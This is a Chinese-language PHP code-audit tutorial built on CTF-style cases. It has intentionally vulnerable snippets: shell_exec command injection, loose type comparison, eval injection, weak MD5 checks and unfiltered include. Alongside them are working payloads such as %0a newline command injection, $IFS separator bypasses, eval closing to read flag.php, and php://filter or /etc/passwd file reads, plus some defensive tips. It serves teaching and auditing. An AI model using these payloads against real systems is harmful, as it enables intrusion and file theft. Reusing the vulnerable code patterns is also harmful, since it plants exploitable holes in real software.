PHP代码审计
字数 1646 2025-08-12 11:34:05
PHP代码审计实战教学文档
1. 命令注入绕过
案例代码
if(isset($_REQUEST['ip'])) {
$target = trim($_REQUEST['ip']);
$substitutions = array('&', '|', '-', '$', '(', ')', '`');
$target = str_replace(array_keys($substitutions), $substitutions, $target);
$cmd = shell_exec('ping -c 4 ' . $target);
echo $target; echo "<pre>{$cmd}</pre>";
}
关键知识点
-
过滤绕过:虽然过滤了常见管道符,但可以使用换行符
%0a绕过 -
payload构造:
- 查看目录:
?ip=127.0.0.1%0als - 读取文件:
?ip=127.0.0.1%0acat flag.php
- 查看目录:
-
常见命令分隔符:
%0a(换行符)%0d(回车符)<%09(制表符)$IFS$9${IFS},<>
2. PHP弱类型比较
案例代码
function noother_says_correct($number) {
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++) {
$digit = ord($number{$i});
if (($digit >= $one) && ($digit <= $nine)) {
return false;
}
}
return $number == "3735929054";
}
关键知识点
-
绕过思路:
- 检查每个字符不能是数字1-9
- 但要求值等于"3735929054"
- 十六进制
0xdeadc0de等于十进制3735929054
-
payload:
answer=0xdeadc0de
-
相关函数:
ord():返回字符的ASCII值- 十六进制与十进制比较会自动转换
3. 变量变量与$GLOBALS利用
案例代码
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a)){
die('ERROR');
}
eval("var_dump(
$$
a);");
关键知识点
-
正则限制:
/^\w*$/只允许字母数字和下划线 -
利用方法:
- 使用
$GLOBALS超全局变量 $GLOBALS包含所有全局变量
- 使用
-
payload:
?hello=GLOBALS
-
$GLOBALS特性:
- 引用全局作用域中所有变量
- 变量名作为数组键
- 在任何地方都可用
4. 代码注入与函数闭合
案例代码
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
关键知识点
-
注入方法:
- 闭合
var_dump()函数 - 添加额外PHP代码
- 闭合
-
payload构造:
?hello=);var_dump(file("flag.php"));//- 实际执行:
var_dump();var_dump(file("flag.php"));
-
防御措施:
- 避免直接执行用户输入
- 使用白名单过滤
5. 会话安全与随机数破解
案例代码
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
关键知识点
-
漏洞点:
- MD5弱比较:
substr(md5($value),5,4)==0 - 需要120秒内连续10次满足条件
- MD5弱比较:
-
破解方法:
- 构造值使MD5哈希第5-8位为"0000"
- 使用脚本自动化请求
-
随机数安全问题:
mt_rand()是伪随机数- 知道种子可预测后续随机数
- 不应用于安全敏感场景
6. 文件包含与PHP伪协议
案例代码
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}
关键知识点
-
利用条件:
allow_url_include=On- 无路径过滤
-
payload:
- 读取文件:
?path=php://filter/convert.base64-encode/resource=flag.php - 直接包含:
?path=/etc/passwd
- 读取文件:
-
常用PHP伪协议:
php://filter:读取文件内容php://input:执行POST数据data://:直接包含代码zip://:访问压缩包内文件
-
防御措施:
- 关闭
allow_url_include - 白名单限制包含路径
- 避免直接使用用户输入
- 关闭
附录:关键函数说明
1. preg_match()
- 执行正则匹配
- 语法:
int preg_match(string $pattern, string $subject) - 返回0或1(匹配次数)
2. mt_rand()安全提示
- 使用Mersenne Twister算法
- 不是加密安全随机数
- 自PHP 4.2.0起自动播种
3. 文件包含相关函数
includerequireinclude_oncerequire_oncehighlight_fileshow_sourcereadfilefile_get_contents
4. 超全局变量
$_REQUEST:GET+POST+COOKIE$_GET:URL参数$_POST:POST数据$GLOBALS:所有全局变量
本教学文档涵盖了PHP代码审计中的关键漏洞类型和利用技术,包括命令注入、弱类型比较、变量变量利用、代码注入、会话安全问题和文件包含漏洞。每个案例都包含漏洞原理、利用方法和防御措施,适合作为PHP安全审计的实战参考资料。